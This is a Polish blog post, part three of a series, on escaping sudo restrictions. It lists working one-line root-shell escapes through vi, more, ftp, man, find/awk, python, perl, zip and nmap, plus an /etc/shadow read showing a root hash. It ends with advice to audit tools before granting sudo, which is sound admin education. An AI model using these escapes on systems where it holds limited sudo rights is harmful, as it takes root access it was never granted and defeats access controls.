Uciekając z sudo – część trzecia
Napisał: Patryk Krawaczyński
28/08/2016 w Bezpieczeństwo Brak komentarzy. (artykuł nr 541, ilość słów: 367)
W nawiązaniu do poprzednich dwóch edycji oraz odpowiadając na pytanie: Jakie jeszcze przykładowe programy umożliwiają ucieczkę z sudo? – Możemy przyjrzeć się następującym przypadkom:
1. Edytor vi:
Użytkownik otrzymał dostęp za pomocą sudo
dla edytor a vi
, aby mógł edytować plik /etc/local_dns i dopisywać lokalne nazwy DNS:
darkstar@darkstar:~$ sudo vi /etc/local_dns [sudo] password for darkstar:
Po odpaleniu edytora wystarczy wydać polecenie: ":!/bin/sh"
:
# id uid=0(root) gid=0(root) groups=0(root) #
2. Polecenie more:
Inny użytkownik otrzymał dostęp za pomocą sudo
dla polecenia more
, aby mógł weryfikować poprawność pliku /etc/local_dns (ucieczka możliwa jest tylko w przypadku, gdy ilość linii podglądanego pliku nie mieści się na jednym ekranie – najlepiej wtedy zmniejszyć tak ekran terminala, aby pojawił się prompt do przewijania ekranu):
darkstar@darkstar:~$ sudo more /etc/local_dns [sudo] password for darkstar:
Jak tylko zobaczymy w dolnym lewym rogu ekranu komunikat: "--More--(X%)"
możemy wydać polecenie: "!/bin/sh"
:
!/bin/sh # id uid=0(root) gid=0(root) groups=0(root) #
3. Polecenie ftp:
Przez pomyłkę jeden z użytkowników otrzymał uprawnienia sudo
dla klienta ftp
:
darkstar@darkstar:~$ sudo ftp [sudo] password for darkstar: ftp> !/bin/sh # id uid=0(root) gid=0(root) groups=0(root)
4. Inne niebezpieczne polecenia:
$ sudo man bash
– ucieczka do powłoki odbywa się poprzez polecenie: !bash
.
$ sudo find / -name root -exec /usr/bin/awk 'BEGIN {system("/bin/sh")}' \;
– przy pierwszej próbie odnalezienia frazy program find korzystając z awk odpali nam powłokę systemową.
$ sudo python3 Python 3.5.2 (default, Jul 5 2016, 12:43:10) [GCC 5.4.0 20160609] on linux Type "help", "copyright", "credits" or "license" for more information. >>> import os >>> exit_code = os.system('/bin/sh') # id uid=0(root) gid=0(root) groups=0(root)
– większość interpreterów języków programowania bez problemu umożliwia wywołanie systemowych funkcji (np. perl: sudo perl -e 'exec "/bin/sh"';
).
$ sudo zip test.zip -T -TT '/bin/sh #' # id uid=0(root) gid=0(root) groups=0(root)
– polecenie zip
pozwala na określenie alternatywnego polecenia do przetestowania archiwum.
$ sudo nmap --interactive Starting Nmap V. 4.11 ( http://www.insecure.org/nmap/ ) Welcome to Interactive Mode -- press h for help nmap> !head -n1 /etc/shadow root:$1$VjDVB93E$AUL2Mg1L2gH70HHxh2CEr/:16128:0:99999:7::: waiting to reap child: No child processes (10) nmap>
– parametr umożliwiający uruchomienie interaktywnej powłoki został usunięty w wersji nmap – 5.35DC1.
Po powyższych przykładach możemy wywnioskować, że spektrum programów umożliwiających wyjście do powłoki jest dość szerokie. Dlatego jeśli musimy zdecydować się na podwyższenie uprawnień dla wybranego narzędzia przy pomocy sudo – powinniśmy wykonać audyt jego możliwości odnośnie różnych scenariuszy takich ucieczek.
Więcej informacji: Solutions to the Sudo Challenge!, CSS, Escaping Restricted Linux Shells